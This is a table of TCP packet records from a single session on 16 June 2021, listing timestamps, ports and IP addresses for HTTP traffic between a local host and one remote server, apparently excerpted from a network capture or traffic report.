Jun 16, 2021 12:04:57.380362034 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:57.380400896 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:57.380404949 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:57.380439043 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:57.380476952 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:57.380484104 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:57.380513906 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:57.380552053 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:57.380556107 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:57.380599976 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:57.380642891 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:57.380651951 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:57.380682945 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:57.380721092 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:57.380732059 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:57.380763054 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:57.380800962 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:57.380814075 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:57.380840063 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:57.380877972 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:57.380882025 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:57.381105900 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:57.381190062 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:57.381230116 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:57.381277084 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:57.381277084 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:57.381320953 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:57.381359100 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:57.381366014 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:57.381397009 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:57.381434917 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:57.381439924 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:57.381473064 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:57.381510973 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:57.381521940 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:57.381551027 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:57.381591082 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:57.381598949 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:57.381642103 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:57.381684065 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:57.381690025 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:57.381737947 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:57.381776094 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:57.381782055 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:57.381819963 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:57.381859064 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:57.382167101 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:57.382215023 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:57.382257938 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:57.382263899 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:57.382297039 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:57.382322073 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:57.382335901 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:57.382374048 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:57.382379055 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:57.382411957 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:57.382448912 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:57.382451057 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:57.382487059 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:57.382529974 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:57.382534027 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:57.382577896 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:57.382616043 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:57.382623911 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:57.382673979 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:57.382711887 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:57.382714033 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:57.382749081 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:57.382788897 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:57.382790089 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:57.383136988 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:57.383187056 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:57.383224964 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:57.383227110 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:57.383266926 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:57.383270025 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:57.383315086 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:57.383358002 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:57.383359909 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:57.383395910 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:57.383436918 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:57.383440018 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:57.383475065 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:57.383512974 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:57.383514881 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:57.383553028 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:57.383588076 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:57.383590937 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:57.383639097 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:57.383678913 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:57.383681059 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:57.383719921 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:57.383757114 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:57.383759022 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:57.384135008 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:57.384175062 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:57.384207964 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:57.384213924 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:57.384254932 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:57.384259939 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:57.384291887 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:57.384345055 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:57.384372950 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:57.384412050 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:57.384449005 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:57.384454012 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:57.384489059 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:57.384526968 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:57.384529114 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:57.384574890 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:57.384614944 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:57.384617090 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:57.384658098 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:57.384696960 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:57.384705067 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:57.384747028 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:57.384793043 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:57.384799004 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:57.385045052 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:57.385085106 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:57.385106087 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:57.385122061 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:57.385160923 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:57.385164022 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:57.385199070 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:57.385240078 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:57.385245085 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:57.385288954 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:57.385339022 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:57.385364056 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:57.385411978 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:57.385453939 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:57.385454893 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:57.385492086 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:57.385530949 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:57.385533094 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:57.385570049 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:57.385607004 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:57.385607958 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:57.385646105 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:57.385685921 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:57.385689020 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:57.386037111 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:57.386077881 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:57.386112928 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:57.386116982 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:57.386121988 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:57.386157036 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:57.386197090 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:57.386204958 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:57.386248112 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:57.386290073 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:57.386302948 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:57.386383057 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:57.386435986 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:57.386437893 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:57.386460066 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:57.386482000 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:57.386495113 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:57.386502981 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:57.386523008 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:57.386537075 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:57.386542082 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:57.386560917 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:57.386579990 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:57.386579990 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:57.386616945 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:57.386996031 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:57.387017012 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:57.387037039 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:57.387056112 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:57.387073994 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:57.387073994 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:57.387092113 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:57.387099981 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:57.387111902 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:57.387132883 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:57.387150049 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:57.387172937 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:57.387187004 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:57.387192965 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:57.387212038 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:57.387228012 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:57.387228966 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:57.387262106 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:57.388586998 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:57.389797926 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:57.389822960 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:57.389842987 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:57.389861107 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:57.389879942 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:57.389894009 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:57.389905930 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:57.389911890 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:57.389925957 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:57.389940023 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:57.389945030 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:57.389964104 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:57.389980078 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:57.389985085 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:57.390003920 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:57.390022039 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:57.390022993 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:57.390045881 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:57.390074968 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:57.390079021 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:57.390100956 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:57.390114069 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:57.390120029 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:57.390156031 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:57.390176058 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:57.390201092 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:57.390222073 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:57.390240908 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:57.390247107 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:57.390269041 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:57.390284061 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:57.390289068 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:57.390309095 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:57.390328884 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:57.390330076 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:57.390346050 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:57.390372038 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:57.390727997 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:57.390750885 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:57.390778065 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:57.390790939 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:57.390795946 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:57.390815973 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:57.390825033 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:57.390839100 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:57.390853882 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:57.390858889 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:57.390894890 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:57.390908957 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:57.390934944 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:57.390953064 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:57.390971899 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:57.390976906 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:57.390990973 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:57.391014099 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:57.391035080 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:57.391051054 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:57.391053915 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:57.391057968 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:57.391073942 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:57.391096115 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:57.391686916 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:57.391706944 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:57.391725063 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:57.391748905 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:57.391751051 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:57.391768932 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:57.391768932 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:57.391788960 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:57.391808033 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:57.391808987 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:57.391829014 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:57.391845942 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:57.391846895 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:57.391866922 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:57.391885042 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:57.391886950 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:57.391907930 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:57.391921043 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:57.391927958 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:57.391947031 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:57.391964912 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:57.391967058 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:57.391984940 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:57.392003059 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:57.392741919 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:57.392762899 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:57.392781973 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:57.392800093 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:57.392803907 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:57.392817974 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:57.392818928 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:57.392838955 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:57.392857075 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:57.392860889 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:57.392875910 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:57.392893076 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:57.392899036 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:57.392920017 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:57.392937899 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:57.392941952 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:57.392956972 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:57.392971992 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:57.392976046 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:57.392995119 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:57.393013000 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:57.393018007 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:57.393033028 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:57.393047094 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:57.393599033 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:57.393619061 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:57.393636942 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:57.393656015 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:57.393661022 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:57.393675089 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:57.393677950 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:57.393698931 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:57.393717051 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:57.393717051 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:57.393737078 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:57.393752098 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:57.393758059 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:57.393776894 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:57.393795013 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:57.393798113 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:57.393814087 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:57.393830061 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:57.393836021 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:57.393857956 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:57.393876076 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:57.393874884 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:57.393894911 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:57.393910885 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:57.394561052 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:57.394581079 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:57.394601107 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:57.394618988 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:57.394619942 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:57.394637108 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:57.394639015 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:57.394658089 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:57.394675970 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:57.394676924 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:57.394695997 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:57.394716024 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:57.394718885 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:57.394748926 CEST	80	49167	104.21.14.60	192.168.2.22
